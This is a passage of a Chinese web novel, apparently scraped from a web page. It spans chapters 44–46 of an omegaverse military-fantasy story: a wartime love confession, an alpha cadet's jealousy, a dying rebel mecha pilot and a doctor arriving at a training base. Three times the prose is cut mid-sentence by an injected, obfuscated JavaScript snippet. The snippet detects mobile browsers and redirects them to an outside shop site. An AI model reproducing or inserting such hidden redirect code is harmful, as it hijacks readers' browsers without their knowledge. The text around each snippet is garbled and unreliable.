黎晓睁开眼睛,目光再一次飘向了那张乱糟糟的桌子。 片刻后她坐起身来,决定听从医生的规劝,按捺下可能会让自己上军事法庭的好奇心。 她不太确定那东西是否还在原地,但保险起见,在医生回来之前,她决定暂时守在这里——为拿到这样东西,敌人甚至出动了装甲骑士这种级别的杀器,谁敢保证就一定不会安插间谍呢? 若她是敌方的决策者,肯定会优先考虑“偷”而不是“抢”。 所以当车厢门打开时,她本能的紧张了一下。 ——是成铭。 片刻对视之后,成铭大步走过来。 而黎晓突然便有些不知所措——脑子里有太多事需要处置了,她自己也不明白为什么看到这世间最能让她感到安心的人,她反而会无措起来。 “身体感觉怎么样?”成铭却显然没有她那么繁杂的心思,已经上前来拉她的手腕。 她有些手忙脚乱,可所有的忙乱在成铭握住她的瞬间便平息下来。 他的手心还是以往的触感——温热的,因为常年锻炼而有些粗硬的茧子,总是稳稳的很踏实。 他在试她的脉搏。 “已经没问题了。”黎晓就说,“是回路突破——这次可能全回路解封了,感觉比以往累一些。” 片刻后她又解释,“我没有发作。” 而后她便记起了昨晚那个亲吻。 原本她对此并无愧疚,也不觉得需要向他人解释。若她因畏惧他人的议论而动摇,那么对尤利娅便太失礼了。 可是…… 她说,“我用了骑士剑,导力被吸走太多,所以出了些小意外。下次我会更加小心。” 。 从昨晚出战时,成铭的精神便始终紧绷着——这也是他第一次怀着拼杀的目的与人对战。 但和黎晓不同,选择从军之初,对这条路上可能会发生些什么,他便一直有所觉悟。 人们总是给军人赋予诸多使命和荣耀,可归根到底,军队只是国家的暴力机器。而军人是当战争发生时被投入到战场作战——不论是侵略还是卫国——的人。 军人的作为是否正义,并不取决于“军人”这一职业本身,更不取决于身为军人的人自身,而取决于他所效忠的国家、所遵从的指令是否正义。但并非所有国家、并非所有战争都是正义的。这世上同样有侵略成性的国家,有服从侵略命令去战斗的部队。 他追问鞭挞过自己的内心——如果有一天他不得不和人类作战,他有没有杀人和被杀的觉悟。如果国家的理念和所作所为不足以说服他服从命令战斗下去,他是否有舍弃荣誉、弃战甚至背叛,被万人唾骂的觉悟? 当他明确了自己的答案,才选择成为一名军人。 他很清楚,在选择进入二军大时,黎晓势必不曾思考过这些。 可是他同样很清楚,如果他追问了,黎晓也势必会得出同样的结论。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726875|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为,她选择的是研发专业,哪怕是最昏聩的国家,应当也不会把宝贵的科研人才投入到战场上。 他以为,她至少还有四年的时间去成长,去慢慢的意识到和思考这些问题。 可是,他错了。 这世上总有名为“意外”的东西,会打破建筑在“侥幸”之上的安宁。 从昨晚黎晓出现在战斗现场的那刻,他心底那根弦就已经紧绷到极致。 他明知成为军人意味着什么,为什么终究还是选择成为军人? ——因为他想从alpha们手中抢夺权力。 他想要为她开辟一个她和她这样的人也能恣意盛开在阳光下,自由并且自信的去做自己想做的事的世界。无论这条路有多么凶险、艰难和漫长。纵使至死他也不能成功,至少也让他将这样的野心公诸于世,成为那个起点。 这是他的野心也是他的私心——他希望自己喜爱的姑娘,能活得更轻松、快活一些。 他希望当她想获得尊重和幸福时,不必再经受远超所得的挫折和努力。 希望她能在乐园之乡,做着她最想做的事,成为她真心想要成为的人。 可当她从车厢里走出时,他的私心便破灭了。 然而,这当真就如此难以想象吗? 从他第一次萌生出想要保护她——想要掀翻这个强弱尊卑的操蛋秩序的念头那刻,她就已经站在他的身边、而非身后了。 她以他为目标,在无意中给自己树立了甚至连她自己都不明白究竟有多么残酷的标准。 经历过无数努力和挫折之后,她早已不是可以被他护在身后、一无所知的弱小omega了。 她拥有如此才能和心性,注定会走到众人面前,被看到、被历练,被利用也获得成长,走上和他相同、甚至远比他更为艰难的荆棘之路。 黎晓昏睡的这段时间里,他一直在思考。 事实上自两年前的那场事故,自这一年上元节他接受她也报考了二军大的事实,自入学时遭遇劫机事件……他便一直在思考。而现实也一次次打破他“姑且”得出的结论。 此刻,终于也到他承认现实的时候。 ——这女孩已和他并肩踏上战场。 可是,这个傻姑娘说,“下次我会更加小心”。 ……他一直都在让她说“我会更加小心”。 从两年前,到此刻。简直就是毫无长进。 ——然而黎晓不明白他的真心,其实也很正常。 这两年时间里,他自以为是的把自己锁在所谓的“思考”里,将她拒之门外太久了。 她看不到他内心的蜕变,是他的傲慢所致。 但是,这样的一击可真是沉重啊,他心底那根弦几乎立时便崩断了。 “还有闲心想这些有的没的,看来确实不要紧……”他本想调侃过去,可终究还是没能坚持到底。 ——他抢在情绪崩溃之前,抱住了她。 大概是那一瞬间他流露出来的难过惊动了她,她抬头想要看他。 他只好把她的头按在怀里,轻轻的说,“别看。” 他从来没有在她的面前软弱、崩溃过。她的心里他永远都强大、嚣张,不被他人所左右。 他不想戳破这个假象。 “你已经足够小心了……不必为了我的感受,给自己施加额外的约束。”他说。 怀中黎晓的身形微微有些僵住了,她不再试图抬头。他能感受到她克制的心情,必定就和是两年之前她说分手时,他内心的感受近似。 这听上去,也确实很像是某种绝情宣言。 但是他必须得告诉她。 这对他而言并非易事——因为他爱这个女孩儿,她的一举一动都牵制着他的内心,他最柔软的部分时时刻刻都对她敞开着。若她当真对他的感受毫不在乎,他的痛苦也必然加倍。可是—— “我爱你。”他说。 当内心有着更沉重的觉悟时,这被压抑已久的告白终于能够宣之于口,他说,“我爱你……我选的这条路很艰难,但我知道自己肯定能走下去。因为我想要和你在一起,为此我一直在成长,努力变得更强大、更成熟。你是我坚持前进的动力。” “——当初你选择报考二军大,我却对你恶言相向。我很抱歉。但那些不是我的真心话。只要想到你就在我身边可以看到的地方,我就感到快乐、安心。我怕你跟来,但其实更怕你不在。” “可是你进了二军大,便踏上了跟我同样的路。这条路对你来说只会更难,更痛苦。” “所以……不要让我变成你前进的阻力,不要让你对我的喜欢,变成你必须要抛开的束缚。” ——不要让对他的喜爱,成为她困顿、痛苦的根源,在成长中日渐消磨。 他曾以为自己肯定无法忍受那样的场景,可事实并非如此。那一瞬间他所焦虑的就只有她的安危,他的判断力足够他分辨罗贝尔的动机是善是恶。直到黎晓说她“会更小心”,他意识到自己过往的不成熟给她造成了怎样的负担时——才终于想起,那其实是一个吻。 “大树海比预想中更凶险,”他终于调整好了自己的情绪,于是放开了黎晓,“你不需要在意我的感受,我固然还不够成熟,但也没这么不成熟。你只需要保护好自己,像以前一样做好你想做的事便够了。” 当黎晓仰起头时,他才看到她满眼的泪水。 他愣了一下,抬手想要为她擦拭。然而明明先前有勇气一把抱住,这会儿却连触碰她的肌肤都做不到。 他知道那并不是什么痛苦难过的泪水。 他知道她听懂了他这令人难以启齿的长篇告白。 他知道这一刻她的内心和他的,是相印如一的。 他们之间经历了漫长的浮沉和拉扯的感情抉择,在这一刻终于尘埃落定。 他想要亲吻她。 她其实也是一样的。 然而廓清情感迷雾的同时,他们也都认清了前路。 车厢门再次响起时,他们交缠的目光终于各自抽去。 黎晓无声的回应,“我也爱你。” 45. 荆棘与蔷薇(十五) 列车警戒解除,在集结车厢里被关了大半夜的学生们终于可以自由行动。 距离铁马镇还有45分钟的车程,大部分学生都选择返回乘坐车厢检查行李。 陆清源也不例外。 他的行李大部分已经提前托运到了训练基地,随身只带一个背包。而背包还在原处。 背包里没什么特别的东西,不值得专门盘点。 他坐在靠车窗的位置上,在周围人在意但又不知该如何搭话的目光里,貌似专心的敲打着键盘,书写战斗报告。 手机提示音响起,安德烈的消息框弹出来。 “黎晓还在医务室,我打算去探视一下,你要不要一起?” 陆清源的手指停在了消息框上。 “不去。”他最终还是这么回复。 ——罗贝尔将剑指向了他,她说“我不会让你们任何一个人靠近她”。 不是“你”,而是“你们”。 那个时候,在她看来,他只是那些控制不住自己的本能,肆意妄为的alpha的一员。 那么,他究竟是不是呢? 陆清源自己也不清楚。 跟大部分人擅自给他脑补的成长路线不同,从懂事开始,他就不是一个备受期待和宠爱的孩子。 至少在他的母亲那里,不是。 在传说之中紫瞳是神的祝福,是人类所能获得的最强的天赋。 但紫瞳毕竟太稀少了,很少有人知道,在回路觉醒之前,紫瞳alpha究竟要经历多么体弱多病的童年。 ——洪水般泛滥的导力冲出回路在身体里肆意为虐,固然是一种锤锻和洗礼,对幼童而言,却也是一种过于残酷的负担。在回路觉醒之前,他的整个童年几乎都在不明原因的病痛中度过。最严重的时候,他甚至无法凭自己的力气站稳。 而大多数Omega在成长过程中都远离公共教育和社会舆论,远离生存竞争也远离社交是非,他们往往被刻意培养得单纯安静,不谙世事,欠缺最基本的社交常识和竞争意识。陆清源的母亲也并不例外。 尽管她凭借不屈和努力,冲破性别束缚考入了军校,尽管她不乏好奇与探索的精神,却也未能弥补因被社会排斥被舆论疏远而造成的全部常识欠缺。 ——她并不知晓紫瞳意味着什么。 她只知道这个孩子的出生并非出于她的意愿,她决意抛弃他离开。却在逃脱之前,从他的柔弱多病中,看到了年幼无助时的自己。 她以为她生下的,是一个omega。 陆清源的父亲和家族显然是知晓他的病因的,但为了照顾他的父亲可悲可耻的,也或许是傲慢俯瞰的爱情,所有人都不约而同地选择了隐瞒。 在觉醒回路,最终暴露自己是个alpha之前,陆清源确实曾经是被母亲关爱着的孩子。他的母亲会将年幼的他抱在怀里,嗓音低柔地为他讲述洛珈的冒险,讲述遭受种种苦难的男孩儿女孩儿在少女omega的带领之下翻越高山河流,穿过一个个奇异怪诞的王国,击败用尽一切手段阻拦、追捕她的敌人,去建造理想家园的童话。 她总是鼓励他,拥抱他,在他犯错时哭笑不得的揉捏着他的小脸蛋,告诉他——大家都会犯错,勇敢点,我们再试一次吧。 但当他觉醒回路之后,她便仿佛遭受了这世界上最可恨的背叛和欺骗。她用冷漠的眼神看他,拒绝对他微笑,拒绝给他拥抱。她说这个世界给alpha们的鼓动与怂恿已经太多了,她唯一能教给他的只有——这个世界不是围绕着他转动的。 他需要习得的是挫折,是拒绝,是自我约束,是闭上索取的嘴巴、收回伸出的手。他不被允许向她索要关爱和安慰。 她顽固的将一切alpha视作傲慢的、自我中心的、随时可能会失控的野兽。 在她的眼中,他的性别,就是他的原罪。 陆清源明白,这一切不是她的错。她只是因为自己和别人的性别,而遭受了太多不公和磨难。 为了向母亲证明,自己不是她想象中的alpha,他跟她一样是一个有着正常自制力和情感的人类,陆清源做了一切自己能做的事。 他安静,温和,不好斗。闲暇时他读书,养花,照顾宠物。从进入青春期后,他一直随身携带着alpha用的抑制剂,避免向任何人释放自己的信息素。发生在他身上的所有事,他都会优先自省而非指责。他定期去各种平权志愿团体去听演讲、做义工,了解其他性别的诉求和遭遇,他耐心温和的对待每一个和他打交道的人,做所有自己能做的被认为是有益的事。 几乎所有和他接触过的人都喜爱他,亲近他,敬佩他。 他自认为自己确实成长为了一个值得信任和喜爱的大人。 可是当他从嘉洛林省归来,去探望自己的母亲时,她却告诉他——一切都顺心如意时,所有人都能当一个好人。只有当所有的表演都不能达成目的,当事情的发展开始违背你的意愿,你才会发现自己的本性。在此之前,别再来邀功了,你可以在别处得到更多的认可和赞美。 他也曾思考过,alpha的本性究竟是什么样的。他见过太多品性各异的alpha了,譬如他和安德烈之间,和他的父亲之间,可以说除了同为alpha之外,没有任何共同之处。 但在母亲的眼中、在横剑说出“我不会让你们任何一个人靠近她”的罗贝尔眼中,确实有一个共同本性存活在每一个alpha的身上。 他其实隐约明白她们眼中的那个“本性”是什么……但他从不认为,这种“本性”会出现在他的身上。 “所有的表演都不能达成目的”,“事情的发展开始违背自己的意愿”……吗? 脑海中黎晓被亲吻着的景象一闪而过。 情绪有片刻的烧断。 陆清源适时收住思绪,将注意力抽回到现实中,轻轻舒了口气。 他并不认为这是专属于alpha的“本性”。在确定自己遇到了喜欢的女孩儿之后,他很仔细的学习过恋爱有可能带来的各种变化。他很清楚,恋爱并不总是会让人感到愉悦,也并不总是带来正面的情绪。恋爱也会让人焦躁、痛苦、嫉妒。 他应当只是嫉妒了。 是的,他只是嫉妒了。 何况,他控制住了自己,没有让嫉妒冲昏头脑,做出丑陋的举动。 但,他的嫉妒心确实比预想之中更强烈些。 哪怕他明知罗贝尔做出的是最及时最合理的处置,哪怕他明知他对黎晓而言只是一个再普通不过的朋友,他没有立场去嫉妒……可是,直到此刻想到那情景,他也还是会感到毒蛇噬心一般痛苦。 但他很清楚,需要为此做出调整的,是他,而不是其他任何人。 提示框再一次弹出。 “真的不去吗?我可是看到罗贝尔走过去了啊。” 陆清源不得不闭目调息,抚平自己混乱的心境。 “你对罗贝尔次席的敌意,是不是有些过于明显了?”他不得不提醒安德烈。 “我承认自己看他不顺眼啦!你不是早知道吗?”提示框里迅速涌进来一大段文字,“他本来就是很讨厌啊!明明跟我们完全不是同一类人,人生中所有美好的东西命运早已为他双手奉上,他却傲慢的一把掀翻还要踩上两脚。说什么这不是他想要的,然后滚进泥潭里,为了争些腐烂发臭的东西跑来缠着我们这些炼狱里的饿鬼撕打……小时候她明明还挺可爱的,为什么会长成这么一副苦大仇深的模样!” 陆清源不能不承认,他的朋友有着特殊的转移注意力的办法。 但他确实没有被安抚到,他只觉得烦乱之上更添吵闹。 “替我向黎晓问好。”陆清源平静地结束了这次对话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726876|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——他不能带着嫉妒的心情,去探望自己喜欢的女孩儿。 列车很快就要抵达铁马镇了,作为济慈班的首席,他很就会再次见到黎晓,开启长达三个月的同食同住的军训时光。他需要尽快调整好自己的心态,不能让类似的意外再一次发生。 。 车厢门开启的声音再一次响起,成铭抽回目光,对黎晓展露微笑,旋即便转身离去。 路过尤利娅身旁时,他点头致意。尤利娅迟疑了片刻,轻轻说道:“谢谢。” 成铭略有疑惑,却也没有多问,只随口道一声:“不用。”便走出了车门。 车门再次关闭,车厢里只剩她们两个人。 这其实只不过是她们的第三次碰面,但她们微笑着看向对方,竟有些像是认识了许多年的朋友之间,一次再也平常不过的碰面。 这感觉很奇妙,却又似乎没有任何突兀之处。 就这么自然而然的发生了。 尤利娅向她走去,随口问道:“感觉怎么样?” “还不错,”反倒是黎晓稍微有些紧张——成铭之外,她确实没有过十分亲密的朋友。而她和成铭之间又意外地“因爱故生忧”,常因无法明确对方的心意而痛苦忐忑。她确实已经很久没有这种见到朋友后,单纯的轻快而喜悦的心情了。她想要抖个小机灵逗尤利娅笑一笑,却没抓住灵感,只好有些生硬地说道,“都能听医生给我上课了。” 尤利娅似乎有些忍俊不禁:“军事保密守则?” ——太好了她能听懂!黎晓有些庆幸地想。 “是呀,保密守则……”黎晓说着也忍不住苦笑起来。她确实喜悦于交到了自己的第一个同性朋友,但想起昨晚的情形,想起尤利娅那一刻的失魂和自己所受到的冲击,情绪也很难一直保持高昂。 尤利娅没有多问,只走到她的面前,轻轻摊开了自己的手:“给你看个东西。” 她的掌心里,躺着一枚小小的白色花朵。比纽扣大不了多少,乍看去仿佛一抹不起眼的雪痕。却有着凝雪含冰一般洁白无暇的花瓣与蕊丝,精致秀美得仿若冰雪的精灵,仿佛不留神吹一口气便会化掉,消失不见。 “噬导藤的花。”尤利娅轻轻解释着,“从训导室里出来,碰巧看到它挂在护栏铁架上。就偷偷摘下来了。” “真漂亮啊。”黎晓感叹着,“在百科书上看到过它的照片,只有一个白色的小点,没想到居然有这么好看。不过,你是怎么保存下来的,我听说这东西摘下来很快就会枯萎。” 尤利娅似乎有那么一瞬间露出了心虚的表情。 黎晓对上她的目光,立刻明白过来:“你用自己的导力喂它?” 尤利娅冰雪般的面孔微微泛红,她欲盖弥彰地解释着,“只用了一点儿,它吃得不多——我知道这不对,军训之中不该为这种事浪费导力……但它真的很漂亮不是吗?我只是想跟你分享一下……” 黎晓愣了愣,随即也忍不住红了脸颊。 而后她立刻想到了一个主意:“……你再坚持一会儿!”飞快地回头翻手机。 把镜头对准那枚小小的白花,迅速又小心翼翼地调整好镜头参数,她有些颤抖地按下快门。 随即两个人同时松了一口气,兴奋地凑到屏幕前面——幸运之神眷顾,她们得到了一张远比预期中更好的特写照片。 她们忍不住同时笑出声来,开始加好友,分享照片。 失去导力灌溉,那枚噬导藤的花儿果然即刻就枯萎了。尤利娅把它丢进医生桌上的烟灰缸里,随手点了簇小火苗消灭了她违规的证据。 兴奋落下之后,尤利娅向着黎晓伸出手去:“朱丽叶-蕾雅·罗贝尔,平时一般被人叫做‘罗贝尔’,但我更希望你能叫我尤利娅。” 黎晓也伸出手去,微笑道:“黎晓。” 《荆棘与蔷薇》-fin- 46. 木与花之诗(一) 大树海深处。 黑金的机甲轰然倒地,巨大的声响震动了森林,树荫如绿色的层云般厚重地抖动,白色的鸟群雨滴般被甩向飞向苍穹。 银衣的骑士被揪着衣领从驾驶舱里强行拽出来,就像是一根浸透了血渍的破毛巾——刺穿了驾驶室的光剑显然也重创了他的身体,他毫无挣扎的迹象。只那双透着神经质的、深陷在眼窝里的圆眼睛还在咕噜噜地乱转,打量着正揪着他衣领的敌人。 不知看出了什么,他那双薄而大的嘴唇里忽地泄露出一声轻嘲:“哼,贱民。” ——是变声期少年独有的,公鸭一般嘲哳的嗓音。 事实上他看上去也确实只是个还处于青春的,既未在精神上得到合理引导、也未在物质上得到充足营养的,扭曲又孱弱的疯狂少年。 揪起他的人似乎有片刻的无语,最终还是放弃了回击。只提醒他:“省下力气等救援队吧,你伤得很重。” 却不知那个字触怒了少年,他眼球乱翻,仅剩能表达憎恨的嘴巴疯狂唾骂。 “收起你的伪善。贱民!贱民!贱民!要不是你们忘恩负义驱逐了我的父亲,我本该是你们尊贵的皇帝。全都死在兽潮里吧。被咬断喉咙,踩成烂泥,吞进兽腹里变成大粪!你们本来就是大粪,大粪!” 剧烈的愤怒催动了气血,他口中鲜血汩汩喷出,不知是本能的神经反射,还是知觉终于回归了身体,他身体突然扭曲挣扎起来。 揪起他的人还想要救他,却根本无法在不加重他伤势的前提下控制住他,只能先将他放平在地面上,回身去找镇定针剂。 少年倒在地上,充满憎恨的眼球死死盯着敌人的背影,用最后的力气,缓缓抬起了枯枝般干瘦的手。他身后倒地的黑金机甲也随之抬起钢铁的手臂,向着敌人的后背亮出了掌心的炮口。 却忽然飞来一剑,削断了少年抬起的手腕。 少年抱着手臂撕心裂肺地惨叫出声,机甲手臂向着空中发射了光炮,随即废铁般坠地。 那一记光炮轰断了巨树的侧枝,枝桠如坍塌的房梁裹挟着燃烧的鸟巢自空中砸落。少年的敌人翻滚躲避,待终于有余裕回头来救这少年时,他的身体已被压在社树粗壮的树枝下。 少年那双神经质的眼球已然涣散,脸上却带着奇异的满足,薄而大的嘴唇翕动着,发出微弱的声音。 阿方索放下了手中的急救针剂,对着少年宛若在发美梦般安然的面容缓缓叹了口气。 如果提前知道对面那个丧心病狂的驾驶员只是个十五六岁的小疯子……啊,算了,他默默地吐槽,莫非他还有留手的余裕吗? 他凑上前去,想听一听少年最后的遗言,却听少年喃喃重复着—— “……白花淹没树海之日,兽潮将挣脱幽囚踏碎星辰。世界崩解于谎言,唯冠冕永存虚海……末日的计时已经开启了,僭主的遗骸只会加速毁灭的到来。哈,哈,哈……都去死吧……谁叫你们,亲手,流放了,你们的,救主……” 少年的声音消散在风中,终于再无声息。 友军也终于赶上前来,领头的尉官向阿方索解释着:“这小子刚刚想偷袭你,来不及提醒,只好……呃,是不是该留他个活口?” 阿方索叹了口气,“不用,他本来就快死了……你们那边清理干净了吗?” “是。十四台装甲战车全部摧毁,击杀三十七名礼装步兵,俘获一百七十二人。已攻下敌方据点母树,正在清点附近设施。” “能接通基地信号吗?” “装备小组已经搭建好了水晶,随时可以和基地联络。” 阿方索点了点头,看了眼少年的尸首,吩咐道:“把他收敛了,埋在最近的母树树下吧。” 随后他的目光望向倒在地上的黑金机甲。 那机甲比他所驾驶的最新型号骑士装甲要大很多,涂装不过黑金两色,一目了然是导力革命后所追求的简洁有力的建构风格,却掩盖不住深厚的古典艺术造诣,展现出了无与伦比的神圣庄严。纵使以战败的姿态倒在青苔遍布的密林深处,也充满了沉稳厚重的美感。如一首英雄末路的挽歌。 在骑士已然死去的当下,机甲依旧保持着战时形态,没有还原成便于收纳的流金属立方。涂装也致密崭新,宛若依旧有骑士端坐其中。 只能说,不愧是前帝制时代才能建造的、无预算上限的机械奇迹。 “真是奢华又硬核啊。”尉官也不由自主地感叹道,“这就是传说中的索恩第三帝国工业审美吗?” 阿方索默然片刻——这次袭击树海专列的“匪团”背后有索恩的支持,这点看来已经是树海驻军的共识了。这倒也不能说错,毕竟当年兰迪斯七世出逃后一直受索恩皇室庇护,萨克森骑士团也是在索恩成立的。 但—— “大约不是吧。”阿方索回身触摸自己的专属机甲,那巍峨的钢铁之躯重新化作悬浮在空中的流金属立方,旋即化作一只小小的白隼停驻在他的肩头。尽管那只是金属与回路构建起的无机质体,骑士看向它的目光依旧温柔又骄傲,他了不在意地说道,“那应该是兰迪斯七世流亡时偷走的守护骑士的原型机吧。” ……一直到阿方索走远了,尉官依旧没阖上他因为过于惊讶而掉下来的下巴。 想摸一摸这神圣之物,又畏惧它的传说。最终还是苦恼地起身追着阿方索:“喂……这么珍贵的文物就扔在这里,没关系吗?” ——守护骑士零号机。传说中导力革命的集大成之作,拆了两台神赐礼装打造成的人类历史上第一台人造机甲。尽管耗费了无数财力,被众多历史学家认为是前帝制时代末期财政危机和平权革命的重要导火索,但这台机甲的落成也同时标志着漫长的历史跋涉之后,人类终于首次凭借肉身与智慧抵达了神域,终结了神的威能。 当时为皇太子的兰迪斯驾驶这台机甲,一击终结了那一年的兽潮时,全帝国的公民都为之疯狂,奔走庆祝着新时代的到来。 那也是兰迪斯七世有生以来民望的巅峰,所有人都憧憬着这位皇太子即位之后赓续伟业的未来…… 很可惜,后续结局所有人都知道了。 。 阿方索停步在被叛匪当作据点的“树王”树下,抬头仰望头顶的树冠。那树冠雍容摇曳,起伏作响。浓密绿荫之上,万千洁白花苞亭亭而立,宛若有无数和平鸽憩息枝头。 。 铁马河镇新兵驻训基地。 医生放下通讯器,抓了抓头发,有些困扰地转向了等在一旁的铁马河镇驻军团长。 军团长假装喝茶没看见——对方是皇家骑士团|派来剿灭萨克森骑士团残党的精英特勤小队,保密权限比他高。任务无需向他报备,情报自然也无需同他分享。他只需要配合对方一切要求即可,不必主动提供帮助。 事实上他也完全不想提供帮助。 大树海特殊的环境过于适合滋生匪徒、奸商,和官匪勾结、官商勾结了,这导致树海驻军团常年人手不足。光是维持基本治安和内部纪律就已经让军团长心力交瘁。往年还能通过压榨流水的军训学生,稍微弥补部分战力,谁知今年二军大一次送来了三个继承者,他不但没法轻易送学生去树海里出外勤,还得倒贴安保。压力倍增。 现下只求多一事不如少一事。 ——但这个顶着鸡窝头和黑眼圈,全靠戒烟糖续命的一脸颓废相的医生,明显没有他所期待对方拥有的,专属于精英中的精英的不屑于向边境兵混子求助的自尊。 “是这样的,”组织好措辞之后,医生就清了清嗓子,勉强挺直脊梁,对着军团长行了一个居然相当标准的军礼,只是嗓音里依旧含着些作息不规则者特有的懒散,“隶属皇家骑士团精英特勤小队第三小队,少校军官徐驰,根据第187909号特勤批令授权,适用《特殊外勤工作条例》第十条、《军工设施使用条理》补充条款第二条授权,现向贵部发出临时征用请求——” 军团长藏住心底无奈,笔挺地起身,回了对方一个铿锵有力的军礼,开始走对接流程。 一分钟后,军团长克制住咆哮的冲动,确认房门关闭、房中无人后,压低声音再次确认:“你是说,通往铁马河镇的铁路被彻底破坏了?” “算不上彻底破坏吧,”医生安抚似的拍了拍他的肩膀,“但是想恢复通车最少还需要半个月的时间。” 军团长不耐烦地挥开了他的手:“是谁破坏的,查出来了吗?” “从手法上看,推测是索恩特务局的手笔。” “所以这半个月里我们不但得与世隔离,还有可能面临索恩正规军的进攻?” 军团长想要爆炸。 “不至于不至于,最多搞一点破坏。”医生连连安慰他,“第三小队也会全力协助铁马河镇防务。我只是想在恢复通车前,借用基地存放一些比较难处理的缴获品。需要基地驻军拨一些人手,帮忙清点守备……”见军团长又要爆发,又补充,“用那帮军训学生就行,无需调动宝贵的正规军。具体管理由我亲自负责,后果也由第三小队自行承担。驻留期间,我可以兼任军训医务官,为基地提供必要的技术支持。” 军团长稍稍平复下了。沉思片刻,问道:“具体是些什么缴获品?” 医生也配合地凑上前去,压低了声音:“是需要三台骑士机甲同时护送的东西,还没确定保密级别。如果您真的很好奇——” 军团长果断地伸手按响呼叫铃,打断了泄密过程——开玩笑,安全级别这么高的东西,一旦听了可就得一起担责任了!他像是会为区区好奇付出这么高代价的人吗?别想坑他! “这是新任军训医务官徐驰少校,带他去各班训练基地打个招呼,认识认识驻训教官们。”见护卫兵推门近来,军团长迅速下令,把这个懒散的特勤精英赶出了自己的办公室。 ——他确实也需要静一静,认真考虑一下,等交通断隔的消息在铁马河镇传播开来,该如何应对镇上蠢蠢欲动的现行暴徒和潜在暴徒们了。 。 医生走出驻军团部,抬手遮了一下透过树荫落下的、对于困倦的熬夜者而言过于明亮的天光。 中央天穹之上,树王巨大的绿色树冠高居云上,层层叠叠,繁茂沉郁。宛若地面之上的地面,城池之上的城池。 医生透过指缝望向那遥远却又仿佛近在咫尺的绿云——只见绿云之上结满花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726877|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苞,亭亭玉立,宛若万千白鸽停栖枝头。 “还真是白花啊……”医生几不可闻地呢喃。 大概十分钟后,终于走出了树冠遮荫的范围,遥遥望见山坡之下正在训练的学生。 所有学生都统一着装,狼狈地负重奔跑在泥泞的小路上。也就勉强能看出个人形。医生不由起了些兴致——这些通过了严格的能力考试,拿到一级推荐的小精英们,体力耐力都远非常人能比。按说这种程度的负重越野,跑个三五公里不在话下,应该不至于这么苦大仇深……怨气冲天。 就听底下粗鲁的叫骂声传来:“几天没吃饱了啊,会不会喘气!什么狗屁精英,粪坑里的蛆都比你们强!跑起来,加速,加速!”就见底下一个泥塔一样的粗壮男人,踢了从身旁跑过的学生一脚,“让你喘气!喘气都不会吗?蛆! “……瞪什么瞪!老子埋过的精英,比你们踩过的泥坑都多。进个军校,还真以为自己了不起了?告诉你们,在大树海里,你们屁都不是——全都是废物饲料!给老子跑起来!” ……原来如此。医生默默的想。 引着医生走过来的护卫官面色如常,丝毫没觉得这种程度的人格羞辱有什么不对。 ——在基层拓展兵团的训练里,骂人确实就是吃饭一样平常的事。 反而向医生介绍起来:“这是济慈班。济慈准尉是树海开拓团出身的老兵,十四岁入伍,参加过七次树海开拓,有二十多年的作战经验。五年前因伤退役——您看到他的脸了吗?” 医生应了一声——济慈准尉半边脸垮塌老迈,像被时光的舌头狠狠舔过。 “血雾藤腐蚀留下的后遗症。”医生说。 这位准尉是见过人间炼狱的,他想。 护卫官点头,接着说道:“……树海退役老兵,尤其是伤病退役的,很难适应正常人类社会,团长就把他聘回了基地。一开始让他带新兵,但他脾气比较暴躁,跟新兵处得不好,就让他专职来带军校军训生了。”介绍过这位教官的履历,才又说道,“……济慈准尉讨厌人打断他的训练,一会儿整队时咱们再下去打招呼吧。” 医生点头,心底默默吐槽——他明显跟军校生也处不好。把他拨给军校生,也就是笃定了军校生只待三个月,不会为这点人格打压就放弃大好前程去报复他吧。 等待期间,护卫官又问:“少校您也是军校出身的吧?” “算是吧。”医生没精打采地看着底下训练,随口说道,“去读过半年速成班。” 护卫官明显一震——帝国一直有选拔兵王送进军校培训的传统,行话也叫去读“速成班”,读完之后晋升军官序列。这种“速成班”出身的军官在士兵里威望极高,毕竟,那可是兽堆里真刀真枪杀出来的真兵王。 护卫官竖了竖大拇指,语气明显恭敬了不少:“那您跟济慈准尉应该能处得来。” 医生附和着点了点头——出门在外身份都是自己给的,半真半假的撒个谎就能搞定的事,他懒得多费力气。 底下似乎有人摔了一跤,医生精神一醒,稍微专注了几分,就望见了上前帮摔倒的同伴提起负重的……或许他该称之为“师妹”的Omega。 还不错,他不无欣慰地想——常年不懈怠的习武练就了挺拔干练的身姿,就算跟战术系一群回路怪物跑在一起也丝毫不显得突兀。协调的吐纳和敏捷的步伐甚至还相当出众,看到她举重若轻的模样,恐怕很难有人会相信她是个Omega。 暂时应该不会麻烦到他这个便宜师兄了。 